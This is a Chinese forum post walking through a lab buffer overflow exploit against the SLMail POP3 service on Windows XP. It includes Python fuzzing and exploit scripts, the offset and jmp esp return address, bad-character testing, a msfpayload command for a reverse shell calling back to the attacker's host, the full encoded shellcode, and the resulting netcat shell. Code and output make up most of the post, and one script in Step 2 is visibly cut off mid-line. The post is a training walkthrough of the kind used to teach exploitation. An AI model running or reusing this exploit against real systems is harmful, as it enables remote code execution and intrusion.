设为首页 收藏本站
查看: 1153|回复: 0

[经验分享] windows缓冲区溢出

[复制链接]

尚未签到

发表于 2019-2-20 06:11:41 | 显示全部楼层 |阅读模式
  
写的不好多加指教

  准备环境:

攻机:Kali 2.0
靶机:windows xp ,windows2003不能做这个实验,亲测好多次没成功。有兴趣可以试试
软件:SLMail、immunity debugger 、mona.py
需要软件的可以留言。
  总体步骤:

1. 测试是否发生缓冲区溢出
2. 找到缓冲区溢出的位置的临界点并验证
3. 查找系统中固定分配的模块中,哪里有jmp esp,为了后面实现跳转
4. 在2找到的位置处写上3处找到的地址,也就是实现由 eip 到 jmp esp 的过程。这个过程设置断点验证是否跳转成功
5. 判断有哪些坏字符,每个服务不一定相同
6. 生成shellcode,并发送。
7. 完成
Step 1.  利用python脚本测试连接windows的POP3

开启windows的POP3服务

  使用python脚本测试来连接

​#!/usr/bin/python
​import socket
​s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
​try:
​    print "\nSending veil buffer..."
​    s.connect(('10.10.10.19',110))
​    data=s.recv(1024)
​    print data
​    s.send('USER test\r\n')
​    data=s.recv(1024)
​    print data
​    s.send('PASS test\r\n')
​    data=s.recv(1024)
​    print data
​    s.close()
​    print "\nDone!"
​except:
​    print "\nFailed to connect pop3"
  运行结果:
  root@kal:/test# ./01.py

​Sending veil buffer...
​+OK POP3 server example.com ready
​-ERR unable to lock mailbox
Done!
  说明连接POP3成功.....

Step2. 测试符合是否会发生缓冲区溢出
  windows端要用immunity debugger打开slmail服务
打开immunity ==> File ==> Attach ==>选择下面的那一行
http://i2.运维网.com/images/blog/201807/10/271372a26932b2b7070b9a55734946ae.png
点右下角的Attach,然后开始运行,运行时候,右下角的pause会变成running状态
http://i2.运维网.com/images/blog/201807/10/1ad57e225c20d12181491cb25d88eb75.png
  这时运行下面脚本:

#!/usr/bin/python
import socket
buffer = ["A"]
counter = 100
while len(buffer) jmp esp
00000000  FFE4              jmp esp
  输入十六进制需要加上 \x 。后面就以第一个作为jmp esp
  双击查找的第一个 jmp esp,就可以看到地址是 5F4A358F
http://i2.运维网.com/images/blog/201807/10/02c9f4f7d6191038e84e82592998796e.png

Step 6 测试跳转
  接着上面的地址设置断点
http://i2.运维网.com/images/blog/201807/10/70ac0c3875249b675f32c04f2dcc5160.png
发送下面的脚本:

#!/usr/bin/python
import socket
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "C"*900  #倒着输入上面的地址。
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending veil buffer..."
s.connect(('10.10.10.19',110))
data=s.recv(1024)
s.send('USER test\r\n')
s.send('PASS '+ buffer + '\r\n')
data=s.recv(1024)
s.close()
print "\nDone!"
except:
print "\nFailed to connect pop3"
  启动服务,发送脚本
http://i2.运维网.com/images/blog/201807/10/62e128cd8046ed05f609d861886283d3.png
  右下角会显示执行到断点处,停止
这时按下F7单步执行
http://i2.运维网.com/images/blog/201807/10/acebdd6939d4857b2f1deed758fad84a.png
  就可以看到,已经跳转到esp,里面装的43   也即是C
说明跳转成功了。

Step 7  判断坏字符
  重启服务。
编写下面脚本‘’
#!/usr/bin/python

import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchar=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00"
)
buffer="A"*2606+"B"*4+badchar
try:
s.connect(('10.10.10.12',110))
data=s.recv(1024)
s.send('USER test'+'\r\n')
data=s.recv(1024)
s.send('PASS '+buffer+'\r\n')
s.close()
print "\nDone"
print "\nSending veil buffer..."
except:
print "Fail connect target"
  发送脚本,在windows端
http://i2.运维网.com/images/blog/201807/10/5ee9dee69560b9204482086ad88a3f24.png
  通过上图可以看到0x0a的字符缺失,并且之后的字符也有丢失,那么我们改掉0x0a继续发送一遍
http://i2.运维网.com/images/blog/201807/10/56626cb328f70ef82fec4d0bf0ae26fb.png
可以看到,我们踢掉0a之后,后面字符串就可以显示了,说明0a是个坏字符。\x0d也没有显示出来,以及\x00
  这样就找到三个坏字符0x00  0x0D  0x0A

Step 8 构造shellcode
  构造反弹shell

root@kal:/usr/share/framework2# ./msfpayload win32_reverse LHOST=10.10.10.11 LPORT=4444 R | ./msfencode -b "\x0d\x00\x0a"
  • Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
    "\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32".
    "\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a".
    "\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32".
    "\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae".
    "\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf".
    "\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06".
    "\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26".
    "\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc".
    "\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1".
    "\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40".
    "\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69".
    "\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79".
    "\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5".
    "\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40".
    "\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06".
    "\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc".
    "\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87".
    "\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec".
    "\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75".
    "\x61\x9f\xd9\xd5\xe2\x60";
      编写脚本:

    #!/usr/bin/python
    import socket
    shellcode="\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75\x61\x9f\xd9\xd5\xe2\x60"
    buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90"*9 +shellcode
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
    print "\nSending veil buffer..."
    s.connect(('10.10.10.19',110))
    data=s.recv(1024)
    s.send('USER test\r\n')
    s.send('PASS '+ buffer + '\r\n')
    data=s.recv(1024)
    s.close()
    print "\nDone!"
    except:
    print "\nFailed to connect pop3"
      上面的\x90 代表NOP,不执行,目的是防止后面的shellcode因为其他原因缺失前面几个字节。
      打开windows服务,用kali监听4444端口,然后发送脚本,得到一个反弹shell。

    root@kal:/test# nc -lvp 4444
    listening on [any] 4444 ...
    ^[[A^[[B10.10.10.19: inverse host lookup failed: Unknown host
    connect to [10.10.10.11] from (UNKNOWN) [10.10.10.19] 1158
    Microsoft Windows XP [�汾 5.1.2600]
    (C) ��Ȩ���� 1985-2001 Microsoft Corp.
    C:\Program Files\SLmail\System>   #拿到shell



  • 运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
    2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
    3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
    4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
    5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
    6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
    7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
    8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

    所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-674502-1-1.html 上篇帖子: Windows平台,通过端口号,杀死进程 下篇帖子: windows 环境下编译 Code::Blocks
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    扫码加入运维网微信交流群X

    扫码加入运维网微信交流群

    扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

    扫描微信二维码查看详情

    客服E-mail:kefu@iyunv.com 客服QQ:1061981298


    QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


    提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


    本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



    合作伙伴: 青云cloud

    快速回复 返回顶部 返回列表